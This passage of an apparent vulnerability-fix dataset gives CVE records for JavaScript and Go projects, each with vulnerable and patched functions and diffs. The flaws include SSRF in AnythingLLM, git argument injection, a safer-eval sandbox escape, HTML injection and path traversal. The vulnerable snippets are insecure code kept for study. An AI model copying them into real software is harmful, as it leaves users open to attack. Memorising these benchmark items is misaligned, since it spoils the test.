                          .match(/filename=\"[\\w-\\. ]+\"/)[0]\n                            .split('=')[1]\n                            .match(/[\\w-\\.]+/)[0],\n                        contentType: item\n                            .match(/Content-Type: .+\\r\\n\\r\\n/)[0]\n                            .replace(/Content-Type: /, '')\n                            .replace(/\\r\\n\\r\\n/, ''),\n                        content: (spotText && item\n                            .match(/Content-Type: .+\\r\\n\\r\\n/)[0]\n                            .replace(/Content-Type: /, '')\n                            .replace(/\\r\\n\\r\\n/, '')\n                            .match(/text/)\n                        ) ? item\n                            .split(/\\r\\n\\r\\n/)[1]\n                            .replace(/\\r\\n\\r\\n\\r\\n----/, '') : Buffer.from(item\n                                .split(/\\r\\n\\r\\n/)[1]\n                                .replace(/\\r\\n\\r\\n\\r\\n----/, ''), 'binary'),\n                    };\n                return result;\n            }\n            const result = {};\n            result[\n                item\n                    .match(/name=\"[a-zA-Z_]+([a-zA-Z0-9_]*)\"/)[0]\n                    .split('=')[1]\n                    .match(/[a-zA-Z_]+([a-zA-Z0-9_]*)/)[0]\n            ] = item\n                .split(/\\r\\n\\r\\n/)[1]\n                .split(/\\r\\n--/)[0];\n            return result;\n        })\n        .reduce((accumulator, current) => Object.assign(accumulator, current), {});\n    return body;"}], "fix_func": [{"id": "fix_js_208_1", "commit": "56ccb03", "file_path": "index.js", "start_line": 1, "end_line": 55, "snippet": "function getValueIgnoringKeyCase(obj, lookedKey) {\n    return Object.keys(obj)\n        .map(presentKey => presentKey.toLowerCase() === lookedKey.toLowerCase() ? obj[presentKey] : null)\n        .filter(item => item)[0];\n}\n\nmodule.exports.parse = (event, spotText) => {\n    const boundary = getValueIgnoringKeyCase(event.headers, 'Content-Type').split('=')[1];\n    const body = (event.isBase64Encoded ? Buffer.from(event.body, 'base64').toString('binary') : event.body)\n        .split(boundary)\n        .filter(item => item.match(/Content-Disposition/))\n        .map((item) => {\n            if (item.match(/filename/)) {\n                const result = {};\n                result[\n                    item\n                        .match(/name=\"[a-zA-Z_]+([a-zA-Z0-9_]*)\"/)[0]\n                        .split('=')[1]\n                        .match(/[a-zA-Z_]+([a-zA-Z0-9_]*)/)[0]\n                ] = {\n                        type: 'file',\n                        filename: item\n                            .match(/filename=\"[\\w-\\. ]+\"/)[0]\n                            .split('=')[1]\n                            .match(/[\\w-\\.]+/)[0],\n                        contentType: item\n                            .match(/Content-Type: .+\\r\\n\\r\\n/)[0]\n                            .replace(/Content-Type: /, '')\n                            .replace(/\\r\\n\\r\\n/, ''),\n                        content: (spotText && item\n                            .match(/Content-Type: .+\\r\\n\\r\\n/)[0]\n                            .replace(/Content-Type: /, '')\n                            .replace(/\\r\\n\\r\\n/, '')\n                            .match(/text/)\n                        ) ? item\n                            .split(/\\r\\n\\r\\n/)[1]\n                            .replace(/\\r\\n\\r\\n\\r\\n----/, '') : Buffer.from(item\n                                .split(/\\r\\n\\r\\n/)[1]\n                                .replace(/\\r\\n\\r\\n\\r\\n----/, ''), 'binary'),\n                    };\n                return result;\n            }\n            const result = {};\n            result[\n                item\n                    .match(/name=\"[a-zA-Z_]+([a-zA-Z0-9_]*)\"/)[0]\n                    .split('=')[1]\n                    .match(/[a-zA-Z_]+([a-zA-Z0-9_]*)/)[0]\n            ] = item\n                .split(/\\r\\n\\r\\n/)[1]\n                .split(/\\r\\n--/)[0];\n            return result;\n        })\n        .reduce((accumulator, current) => Object.assign(accumulator, current), {});\n    return body;"}], "vul_patch": "--- a/index.js\n+++ b/index.js\n@@ -7,7 +7,7 @@\n module.exports.parse = (event, spotText) => {\n     const boundary = getValueIgnoringKeyCase(event.headers, 'Content-Type').split('=')[1];\n     const body = (event.isBase64Encoded ? Buffer.from(event.body, 'base64').toString('binary') : event.body)\n-        .split(new RegExp(boundary))\n+        .split(boundary)\n         .filter(item => item.match(/Content-Disposition/))\n         .map((item) => {\n             if (item.match(/filename/)) {\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2024-0759", "cve_description": "Should an instance of AnythingLLM be hosted on an internal network and the attacked be explicitly granted a permission level of manager or admin, they could link-scrape internally resolving IPs of other services that are on the same network as AnythingLLM.\n\nThis would require the attacker also be able to guess these internal IPs as `/*` ranging is not possible, but could be brute forced.\n\nThere is a duty of care that other services on the same network would not be fully open and accessible via a simple CuRL with zero authentication as it is not possible to set headers or access via the link collector.", "cwe_info": {"CWE-918": {"name": "Server-Side Request Forgery (SSRF)", "description": "The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination."}}, "repo": "https://github.com/mintplex-labs/anything-llm", "patch_url": ["https://github.com/mintplex-labs/anything-llm/commit/0db6c3b2aa1787a7054ffdaba975474f122c20eb"], "programing_language": "JavaScript", "vul_func": [{"id": "vul_js_254_1", "commit": "0efb3ab", "file_path": "collector/utils/url/index.js", "start_line": "3", "end_line": "10", "snippet": "function validURL(url) {\n  try {\n    const destination = new URL(url);\n    if (!VALID_PROTOCOLS.includes(destination.protocol)) return false;\n    return true;\n  } catch {}\n  return false;\n}"}], "fix_func": [{"id": "fix_js_254_1", "commit": "0db6c3b", "file_path": "collector/utils/url/index.js", "start_line": "16", "end_line": "24", "snippet": "function validURL(url) {\n  try {\n    const destination = new URL(url);\n    if (!VALID_PROTOCOLS.includes(destination.protocol)) return false;\n    if (isInvalidIp(destination)) return false;\n    return true;\n  } catch {}\n  return false;\n}"}, {"id": "fix_js_254_2", "commit": "0db6c3b", "file_path": "collector/utils/url/index.js", "start_line": "2", "end_line": "14", "snippet": "const INVALID_OCTETS = [192, 172, 10, 127];\n\nfunction isInvalidIp({ hostname }) {\n  const IPRegex = new RegExp(\n    /^(([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])\\.){3}([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])$/gi\n  );\n  if (!IPRegex.test(hostname)) return false;\n  const [octetOne, ..._rest] = hostname.split(\".\");\n\n  // If fails to validate to number - abort and return as invalid.\n  if (isNaN(Number(octetOne))) return true;\n  return INVALID_OCTETS.includes(Number(octetOne));\n}"}], "vul_patch": "--- a/collector/utils/url/index.js\n+++ b/collector/utils/url/index.js\n@@ -2,6 +2,7 @@\n   try {\n     const destination = new URL(url);\n     if (!VALID_PROTOCOLS.includes(destination.protocol)) return false;\n+    if (isInvalidIp(destination)) return false;\n     return true;\n   } catch {}\n   return false;\n\n--- /dev/null\n+++ b/collector/utils/url/index.js\n@@ -0,0 +1,13 @@\n+const INVALID_OCTETS = [192, 172, 10, 127];\n+\n+function isInvalidIp({ hostname }) {\n+  const IPRegex = new RegExp(\n+    /^(([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])\\.){3}([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])$/gi\n+  );\n+  if (!IPRegex.test(hostname)) return false;\n+  const [octetOne, ..._rest] = hostname.split(\".\");\n+\n+  // If fails to validate to number - abort and return as invalid.\n+  if (isNaN(Number(octetOne))) return true;\n+  return INVALID_OCTETS.includes(Number(octetOne));\n+}\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2022-25865", "cve_description": "The package workspace-tools before 0.18.4 are vulnerable to Command Injection via git argument injection. When calling the fetchRemoteBranch(remote: string, remoteBranch: string, cwd: string) function, both the remote and remoteBranch parameters are passed to the git fetch subcommand in a way that additional flags can be set. The additional flags can be used to perform a command injection.", "cwe_info": {"CWE-88": {"name": "Improper Neutralization of Argument Delimiters in a Command ('Argument Injection')", "description": "The product constructs a string for a command to be executed by a separate component\nin another control sphere, but it does not properly delimit the\nintended arguments, options, or switches within that command string."}}, "repo": "https://github.com/microsoft/workspace-tools", "patch_url": ["https://github.com/microsoft/workspace-tools/commit/9bc7e65ce497f87e1f363fd47b8f802f3d3cd978"], "programing_language": "JavaScript", "vul_func": [{"id": "vul_js_201_1", "commit": "24040a5", "file_path": "src/git.ts", "start_line": 120, "end_line": 126, "snippet": "export function fetchRemote(remote: string, cwd: string) {\n  const results = git([\"fetch\", remote], { cwd });\n\n  if (!results.success) {\n    throw gitError(`Cannot fetch remote: ${remote}`);\n  }\n}"}, {"id": "vul_js_201_2", "commit": "24040a5", "file_path": "src/git.ts", "start_line": 128, "end_line": 134, "snippet": "export function fetchRemoteBranch(remote: string, remoteBranch: string, cwd: string) {\n  const results = git([\"fetch\", remote, remoteBranch], { cwd });\n\n  if (!results.success) {\n    throw gitError(`Cannot fetch remote: ${remote} ${remoteBranch}`);\n  }\n}"}], "fix_func": [{"id": "fix_js_201_1", "commit": "9bc7e65", "file_path": "src/git.ts", "start_line": 120, "end_line": 126, "snippet": "export function fetchRemote(remote: string, cwd: string) {\n  const results = git([\"fetch\", \"--\", remote], { cwd });\n\n  if (!results.success) {\n    throw gitError(`Cannot fetch remote: ${remote}`);\n  }\n}"}, {"id": "fix_js_201_2", "commit": "9bc7e65", "file_path": "src/git.ts", "start_line": 128, "end_line": 134, "snippet": "export function fetchRemoteBranch(remote: string, remoteBranch: string, cwd: string) {\n  const results = git([\"fetch\", \"--\", remote, remoteBranch], { cwd });\n\n  if (!results.success) {\n    throw gitError(`Cannot fetch remote: ${remote} ${remoteBranch}`);\n  }\n}"}], "vul_patch": "--- a/src/git.ts\n+++ b/src/git.ts\n@@ -1,5 +1,5 @@\n export function fetchRemote(remote: string, cwd: string) {\n-  const results = git([\"fetch\", remote], { cwd });\n+  const results = git([\"fetch\", \"--\", remote], { cwd });\n \n   if (!results.success) {\n     throw gitError(`Cannot fetch remote: ${remote}`);\n\n--- a/src/git.ts\n+++ b/src/git.ts\n@@ -1,5 +1,5 @@\n export function fetchRemoteBranch(remote: string, remoteBranch: string, cwd: string) {\n-  const results = git([\"fetch\", remote, remoteBranch], { cwd });\n+  const results = git([\"fetch\", \"--\", remote, remoteBranch], { cwd });\n \n   if (!results.success) {\n     throw gitError(`Cannot fetch remote: ${remote} ${remoteBranch}`);\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2022-3348", "cve_description": "Just like in the previous report, an attacker could steal the account of different users. But in this case, it's a little bit more specific, because it is needed to be an editor in the same app as the victim.", "cwe_info": {"CWE-200": {"name": "Exposure of Sensitive Information to an Unauthorized Actor", "description": "The product exposes sensitive information to an actor that is not explicitly authorized to have access to that information."}}, "repo": "https://github.com/tooljet/tooljet", "patch_url": ["https://github.com/tooljet/tooljet/commit/37bf6de75f161e03c2a81888810488b913863a46"], "programing_language": "JavaScript", "vul_func": [{"id": "vul_js_240_1", "commit": "6fc8b84", "file_path": "server/src/services/thread.service.ts", "start_line": 19, "end_line": 27, "snippet": "  public async getThreads(appId: string, organizationId: string, appVersionsId: string): Promise<Thread[]> {\n    return await this.threadRepository.find({\n      where: {\n        appId,\n        organizationId,\n        appVersionsId,\n      },\n    });\n  }"}], "fix_func": [{"id": "fix_js_240_1", "commit": "37bf6de75f161e03c2a81888810488b913863a46", "file_path": "server/src/services/thread.service.ts", "start_line": 20, "end_line": 34, "snippet": "  public async getThreads(appId: string, organizationId: string, appVersionsId: string): Promise<Thread[]> {\n    return await createQueryBuilder(Thread, 'thread')\n      .innerJoin('thread.user', 'user')\n      .addSelect(['user.id', 'user.firstName', 'user.lastName'])\n      .andWhere('thread.appId = :appId', {\n        appId,\n      })\n      .andWhere('thread.organizationId = :organizationId', {\n        organizationId,\n      })\n      .andWhere('thread.appVersionsId = :appVersionsId', {\n        appVersionsId,\n      })\n      .getMany();\n  }"}], "vul_patch": "--- a/server/src/services/thread.service.ts\n+++ b/server/src/services/thread.service.ts\n@@ -1,9 +1,15 @@\n   public async getThreads(appId: string, organizationId: string, appVersionsId: string): Promise<Thread[]> {\n-    return await this.threadRepository.find({\n-      where: {\n+    return await createQueryBuilder(Thread, 'thread')\n+      .innerJoin('thread.user', 'user')\n+      .addSelect(['user.id', 'user.firstName', 'user.lastName'])\n+      .andWhere('thread.appId = :appId', {\n         appId,\n+      })\n+      .andWhere('thread.organizationId = :organizationId', {\n         organizationId,\n+      })\n+      .andWhere('thread.appVersionsId = :appVersionsId', {\n         appVersionsId,\n-      },\n-    });\n+      })\n+      .getMany();\n   }\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2019-10760", "cve_description": "safer-eval before 1.3.2 are vulnerable to Arbitrary Code Execution. A payload using constructor properties can escape the sandbox and execute arbitrary code.", "cwe_info": {"CWE-94": {"name": "Improper Control of Generation of Code ('Code Injection')", "description": "The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment."}, "CWE-77": {"name": "Improper Neutralization of Special Elements used in a Command ('Command Injection')", "description": "The product constructs all or part of a command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended command when it is sent to a downstream component."}, "CWE-78": {"name": "Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')", "description": "The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component."}}, "repo": "https://github.com/commenthol/safer-eval", "patch_url": ["https://github.com/commenthol/safer-eval/commit/1c29f6a6e304fb650c05056e217e457a0d2cc3c5"], "programing_language": "JavaScript", "vul_func": [{"id": "vul_js_121_1", "commit": "74e5bb8", "file_path": "src/index.js", "start_line": 39, "end_line": 48, "snippet": "  runInContext (code) {\n    if (typeof code !== 'string') {\n      throw new TypeError('not a string')\n    }\n    return vm.runInContext(\n      '(function () {\"use strict\"; return ' + code + '})()',\n      this._context,\n      this._options\n    )\n  }"}], "fix_func": [{"id": "fix_js_121_1", "commit": "1c29f6a", "file_path": "src/index.js", "start_line": 39, "end_line": 51, "snippet": "  runInContext (code) {\n    if (typeof code !== 'string') {\n      throw new TypeError('not a string')\n    }\n    let src = 'Object.constructor = function () {};\\n'\n    src += 'return ' + code + ';\\n'\n\n    return vm.runInContext(\n      '(function () {\"use strict\"; ' + src + '})()',\n      this._context,\n      this._options\n    )\n  }"}], "vul_patch": "--- a/src/index.js\n+++ b/src/index.js\n@@ -2,8 +2,11 @@\n     if (typeof code !== 'string') {\n       throw new TypeError('not a string')\n     }\n+    let src = 'Object.constructor = function () {};\\n'\n+    src += 'return ' + code + ';\\n'\n+\n     return vm.runInContext(\n-      '(function () {\"use strict\"; return ' + code + '})()',\n+      '(function () {\"use strict\"; ' + src + '})()',\n       this._context,\n       this._options\n     )\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2025-32390", "cve_description": "EspoCRM is a free, open-source customer relationship management platform. Prior to version 9.0.8, HTML Injection in Knowledge Base (KB) articles leads to complete page defacement imitating the login page. Authenticated users with the read knowledge article privilege can browse to the KB article and if they submit their credentials, they get captured in plain text. The vulnerability is allowed by overly permissive HTML editing being allowed on the KB articles. Any authenticated user with the privilege to read KB articles is impacted. In an enterprise with multiple applications, the malicious KB article could be edited to match the login pages of other applications, which would make it useful for credential harvesting against other applications as well. Version 9.0.8 contains a patch for the issue.", "cwe_info": {"CWE-74": {"name": "Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')", "description": "The product constructs all or part of a command, data structure, or record using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify how it is parsed or interpreted when it is sent to a downstream component."}}, "repo": "https://github.com/espocrm/espocrm", "patch_url": ["https://github.com/espocrm/espocrm/commit/6b58d30eec8864de52844bfb8dac346ce5c729d7"], "programing_language": "JavaScript", "vul_func": [{"id": "vul_js_132_1", "commit": "84f7fc5", "file_path": "client/src/view-helper.js", "start_line": 40, "end_line": 96, "snippet": "    constructor() {\n        this._registerHandlebarsHelpers();\n\n        /** @private */\n        this.mdBeforeList = [\n            /*{\n                regex: /```\\n?([\\s\\S]*?)```/g,\n                value: (s, string) => {\n                    return '```\\n' + string.replace(/\\\\\\>/g, '>') + '```';\n                },\n            },*/\n            {\n                // Also covers triple-backtick blocks.\n                regex: /`([\\s\\S]*?)`/g,\n                value: (s, string) => {\n                    // noinspection RegExpRedundantEscape\n                    return '`' + string.replace(/\\\\\\</g, '<') + '`';\n                },\n            },\n        ];\n\n        marked.setOptions({\n            breaks: true,\n            tables: false,\n            headerIds: false,\n        });\n\n        DOMPurify.addHook('beforeSanitizeAttributes', function (node) {\n            if (node instanceof HTMLAnchorElement) {\n                if (node.getAttribute('target')) {\n                    node.targetBlank = true;\n                }\n                else {\n                    node.targetBlank = false;\n                }\n            }\n\n            if (node instanceof HTMLOListElement && node.start && node.start > 99) {\n                node.removeAttribute('start');\n            }\n        });\n\n        DOMPurify.addHook('afterSanitizeAttributes', function (node) {\n            if (node instanceof HTMLAnchorElement) {\n                const href = node.getAttribute('href');\n\n                if (href && !href.startsWith('#')) {\n                    node.setAttribute('rel', 'noopener noreferrer');\n                }\n\n                if (node.targetBlank) {\n                    node.setAttribute('target', '_blank');\n                    node.setAttribute('rel', 'noopener noreferrer');\n                }\n            }\n        });\n    }"}], "fix_func": [{"id": "fix_js_132_1", "commit": "6b58d30", "file_path": "client/src/view-helper.js", "start_line": 40, "end_line": 135, "snippet": "    constructor() {\n        this._registerHandlebarsHelpers();\n\n        /** @private */\n        this.mdBeforeList = [\n            /*{\n                regex: /```\\n?([\\s\\S]*?)```/g,\n                value: (s, string) => {\n                    return '```\\n' + string.replace(/\\\\\\>/g, '>') + '```';\n                },\n            },*/\n            {\n                // Also covers triple-backtick blocks.\n                regex: /`([\\s\\S]*?)`/g,\n                value: (s, string) => {\n                    // noinspection RegExpRedundantEscape\n                    return '`' + string.replace(/\\\\\\</g, '<') + '`';\n                },\n            },\n        ];\n\n        marked.setOptions({\n            breaks: true,\n            tables: false,\n            headerIds: false,\n        });\n\n        DOMPurify.addHook('beforeSanitizeAttributes', function (node) {\n            if (node instanceof HTMLAnchorElement) {\n                if (node.getAttribute('target')) {\n                    node.targetBlank = true;\n                }\n                else {\n                    node.targetBlank = false;\n                }\n            }\n\n            if (node instanceof HTMLOListElement && node.start && node.start > 99) {\n                node.removeAttribute('start');\n            }\n\n            if (node instanceof HTMLFormElement) {\n                if (node.action) {\n                    node.removeAttribute('action');\n                }\n\n                if (node.hasAttribute('method')) {\n                    node.removeAttribute('method');\n                }\n            }\n\n            if (node instanceof HTMLButtonElement) {\n                if (node.type === 'submit') {\n                    node.type = 'button';\n                }\n            }\n        });\n\n        DOMPurify.addHook('afterSanitizeAttributes', function (node) {\n            if (node instanceof HTMLAnchorElement) {\n                const href = node.getAttribute('href');\n\n                if (href && !href.startsWith('#')) {\n                    node.setAttribute('rel', 'noopener noreferrer');\n                }\n\n                if (node.targetBlank) {\n                    node.setAttribute('target', '_blank');\n                    node.setAttribute('rel', 'noopener noreferrer');\n                }\n            }\n        });\n\n        DOMPurify.addHook('uponSanitizeAttribute', (node, data) => {\n            if (data.attrName === 'style') {\n                const style = data.attrValue\n                    .split(';')\n                    .map(s => s.trim())\n                    .filter(rule => {\n                        const [property, value] = rule.split(':')\n                            .map(s => s.trim().toLowerCase());\n\n                        if (\n                            property === 'position' &&\n                            ['absolute', 'fixed', 'sticky'].includes(value)\n                        ) {\n                            return false;\n                        }\n\n                        return true;\n                    });\n\n                data.attrValue = style.join('; ');\n            }\n        });\n    }"}], "vul_patch": "--- a/client/src/view-helper.js\n+++ b/client/src/view-helper.js\n@@ -38,6 +38,22 @@\n             if (node instanceof HTMLOListElement && node.start && node.start > 99) {\n                 node.removeAttribute('start');\n             }\n+\n+            if (node instanceof HTMLFormElement) {\n+                if (node.action) {\n+                    node.removeAttribute('action');\n+                }\n+\n+                if (node.hasAttribute('method')) {\n+                    node.removeAttribute('method');\n+                }\n+            }\n+\n+            if (node instanceof HTMLButtonElement) {\n+                if (node.type === 'submit') {\n+                    node.type = 'button';\n+                }\n+            }\n         });\n \n         DOMPurify.addHook('afterSanitizeAttributes', function (node) {\n@@ -54,4 +70,27 @@\n                 }\n             }\n         });\n+\n+        DOMPurify.addHook('uponSanitizeAttribute', (node, data) => {\n+            if (data.attrName === 'style') {\n+                const style = data.attrValue\n+                    .split(';')\n+                    .map(s => s.trim())\n+                    .filter(rule => {\n+                        const [property, value] = rule.split(':')\n+                            .map(s => s.trim().toLowerCase());\n+\n+                        if (\n+                            property === 'position' &&\n+                            ['absolute', 'fixed', 'sticky'].includes(value)\n+                        ) {\n+                            return false;\n+                        }\n+\n+                        return true;\n+                    });\n+\n+                data.attrValue = style.join('; ');\n+            }\n+        });\n     }\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2025-25196", "cve_description": "OpenFGA is a high-performance and flexible authorization/permission engine built for developers and inspired by Google Zanzibar. OpenFGA < v1.8.4 (Helm chart < openfga-0.2.22, docker < v.1.8.4) are vulnerable to authorization bypass when certain Check and ListObject calls are executed. Users on OpenFGA v1.8.4 or previous, specifically under the following conditions are affected by this authorization bypass vulnerability: 1. Calling Check API or ListObjects with a model that has a relation directly assignable to both public access AND userset with the same type. 2. A type bound public access tuple is assigned to an object. 3. userset tuple is not assigned to the same object. and 4. Check request's user field is a userset that has the same type as the type bound public access tuple's user type. Users are advised to upgrade to v1.8.5 which is backwards compatible. There are no known workarounds for this vulnerability.", "cwe_info": {"CWE-285": {"name": "Improper Authorization", "description": "The product does not perform or incorrectly performs an authorization check when an actor attempts to access a resource or perform an action."}, "CWE-250": {"name": "Execution with Unnecessary Privileges", "description": "The product performs an operation at a privilege level that is higher than the minimum level required, which creates new weaknesses or amplifies the consequences of other weaknesses."}, "CWE-269": {"name": "Improper Privilege Management", "description": "The product does not properly assign, modify, track, or check privileges for an actor, creating an unintended sphere of control for that actor."}}, "repo": "https://github.com/openfga/openfga", "patch_url": ["https://github.com/openfga/openfga/commit/0aee4f47e0c642de78831ceb27bb62b116f49588"], "programing_language": "Go", "vul_func": [{"id": "vul_go_175_1", "commit": "e51273a", "file_path": "internal/graph/check.go", "start_line": 1108, "end_line": 1119, "snippet": "func shouldCheckPublicAssignable(ctx context.Context, reqTupleKey *openfgav1.TupleKey) bool {\n\ttypesys, _ := typesystem.TypesystemFromContext(ctx)\n\n\tobjectType := tuple.GetType(reqTupleKey.GetObject())\n\trelation := reqTupleKey.GetRelation()\n\n\tisPubliclyAssignable, _ := typesys.IsPubliclyAssignable(\n\t\ttypesystem.DirectRelationReference(objectType, relation), // target\n\t\ttuple.GetType(reqTupleKey.GetUser()),\n\t)\n\treturn isPubliclyAssignable\n}"}], "fix_func": [{"id": "fix_go_175_1", "commit": "0aee4f4", "file_path": "internal/graph/check.go", "start_line": 1108, "end_line": 1124, "snippet": "func shouldCheckPublicAssignable(ctx context.Context, reqTupleKey *openfgav1.TupleKey) bool {\n\ttypesys, _ := typesystem.TypesystemFromContext(ctx)\n\n\tobjectType := tuple.GetType(reqTupleKey.GetObject())\n\trelation := reqTupleKey.GetRelation()\n\n\t// if the user tuple is userset, by definition it cannot be a wildcard\n\tif tuple.IsObjectRelation(reqTupleKey.GetUser()) {\n\t\treturn false\n\t}\n\n\tisPubliclyAssignable, _ := typesys.IsPubliclyAssignable(\n\t\ttypesystem.DirectRelationReference(objectType, relation), // target\n\t\ttuple.GetType(reqTupleKey.GetUser()),\n\t)\n\treturn isPubliclyAssignable\n}"}], "vul_patch": "--- a/internal/graph/check.go\n+++ b/internal/graph/check.go\n@@ -3,6 +3,11 @@\n \n \tobjectType := tuple.GetType(reqTupleKey.GetObject())\n \trelation := reqTupleKey.GetRelation()\n+\n+\t// if the user tuple is userset, by definition it cannot be a wildcard\n+\tif tuple.IsObjectRelation(reqTupleKey.GetUser()) {\n+\t\treturn false\n+\t}\n \n \tisPubliclyAssignable, _ := typesys.IsPubliclyAssignable(\n \t\ttypesystem.DirectRelationReference(objectType, relation), // target\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2022-44942", "cve_description": "Casdoor before v1.126.1 was discovered to contain an arbitrary file deletion vulnerability via the uploadFile function.", "cwe_info": {"CWE-22": {"name": "Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')", "description": "The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory."}}, "repo": "https://github.com/casdoor/casdoor", "patch_url": ["https://github.com/casdoor/casdoor/commit/645c631db9c52dcbccfcbe497cbcbf3bcbf8cf8a"], "programing_language": "Go", "vul_func": [{"id": "vul_go_198_1", "commit": "3128e68", "file_path": "object/storage.go", "start_line": 129, "end_line": 142, "snippet": "func DeleteFile(provider *Provider, objectKey string) error {\n\tendpoint := getProviderEndpoint(provider)\n\tstorageProvider := storage.GetStorageProvider(provider.Type, provider.ClientId, provider.ClientSecret, provider.RegionId, provider.Bucket, endpoint)\n\tif storageProvider == nil {\n\t\treturn fmt.Errorf(\"the provider type: %s is not supported\", provider.Type)\n\t}\n\n\tif provider.Domain == \"\" {\n\t\tprovider.Domain = storageProvider.GetEndpoint()\n\t\tUpdateProvider(provider.GetId(), provider)\n\t}\n\n\treturn storageProvider.Delete(objectKey)\n}"}], "fix_func": [{"id": "fix_go_198_1", "commit": "645c631db9c52dcbccfcbe497cbcbf3bcbf8cf8a", "file_path": "object/storage.go", "start_line": 129, "end_line": 147, "snippet": "func DeleteFile(provider *Provider, objectKey string) error {\n\t// check fullFilePath is there security issue\n\tif strings.Contains(objectKey, \"..\") {\n\t\treturn fmt.Errorf(\"the objectKey: %s is not allowed\", objectKey)\n\t}\n\n\tendpoint := getProviderEndpoint(provider)\n\tstorageProvider := storage.GetStorageProvider(provider.Type, provider.ClientId, provider.ClientSecret, provider.RegionId, provider.Bucket, endpoint)\n\tif storageProvider == nil {\n\t\treturn fmt.Errorf(\"the provider type: %s is not supported\", provider.Type)\n\t}\n\n\tif provider.Domain == \"\" {\n\t\tprovider.Domain = storageProvider.GetEndpoint()\n\t\tUpdateProvider(provider.GetId(), provider)\n\t}\n\n\treturn storageProvider.Delete(objectKey)\n}"}], "vul_patch": "--- a/object/storage.go\n+++ b/object/storage.go\n@@ -1,4 +1,9 @@\n func DeleteFile(provider *Provider, objectKey string) error {\n+\t// check fullFilePath is there security issue\n+\tif strings.Contains(objectKey, \"..\") {\n+\t\treturn fmt.Errorf(\"the objectKey: %s is not allowed\", objectKey)\n+\t}\n+\n \tendpoint := getProviderEndpoint(provider)\n \tstorageProvider := storage.GetStorageProvider(provider.Type, provider.ClientId, provider.ClientSecret, provider.RegionId, provider.Bucket, endpoint)\n \tif storageProvider == nil {\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2021-21321", "cve_description": "fastify-reply-from is an npm package which is a fastify plugin to forward the current http request to another server. In fastify-reply-from before version 4.0.2, by crafting a specific URL, it is possible to escape the prefix of the proxied backend service. If the base url of the proxied server is \"/pub/\", a user expect that accessing \"/priv\" on the target service would not be possible. In affected versions, it is possible. This is fixed in version 4.0.2.", "cwe_info": {"CWE-20": {"name": "Improper Input Validation", "description": "The product receives input or data, but it does\n        not validate or incorrectly validates that the input has the\n        properties that are required to process the data safely and\n        correctly."}}, "repo": "https://github.com/fastify/fastify-reply-from", "patch_url": ["https://github.com/fastify/fastify-reply-from/commit/dea227dda606900cc01870d08541b4dcc69d3889"], "programing_language": "JavaScript", "vul_func": [{"id": "vul_js_70_1", "commit": "20d0795", "file_path": "lib/utils.js", "start_line": 58, "end_line": 67, "snippet": "function buildURL (source, reqBase) {\n  const dest = new URL(source, reqBase)\n\n  // if base is specified, source url should not override it\n  if (reqBase && !reqBase.startsWith(dest.origin)) {\n    throw new Error('source must be a relative path string')\n  }\n\n  return dest\n}"}], "fix_func": [{"id": "fix_js_70_1", "commit": "dea227dda606900cc01870d08541b4dcc69d3889", "file_path": "lib/utils.js", "start_line": 58, "end_line": 73, "snippet": "function buildURL (source, reqBase) {\n  const dest = new URL(source, reqBase)\n\n  // if base is specified, source url should not override it\n  if (reqBase) {\n    if (!reqBase.endsWith('/') && dest.href.length > reqBase.length) {\n      reqBase = reqBase + '/'\n    }\n\n    if (!dest.href.startsWith(reqBase)) {\n      throw new Error('source must be a relative path string')\n    }\n  }\n\n  return dest\n}"}], "vul_patch": "--- a/lib/utils.js\n+++ b/lib/utils.js\n@@ -2,8 +2,14 @@\n   const dest = new URL(source, reqBase)\n \n   // if base is specified, source url should not override it\n-  if (reqBase && !reqBase.startsWith(dest.origin)) {\n-    throw new Error('source must be a relative path string')\n+  if (reqBase) {\n+    if (!reqBase.endsWith('/') && dest.href.length > reqBase.length) {\n+      reqBase = reqBase + '/'\n+    }\n+\n+    if (!dest.href.startsWith(reqBase)) {\n+      throw new Error('source must be a relative path string')\n+    }\n   }\n \n   return dest\n\n", "poc_test_cmd": "#!/bin/bash\n# From ghcr.io/anonymous2578-data/cve-2021-21321:latest\n# bash /workspace/fix-run.sh\nset -e\n\ncd /workspace/fastify-reply-from\ngit apply --whitespace=nowarn /workspace/test.patch /workspace/fix.patch\nnpx tape test/build-url.js", "unit_test_cmd": null}
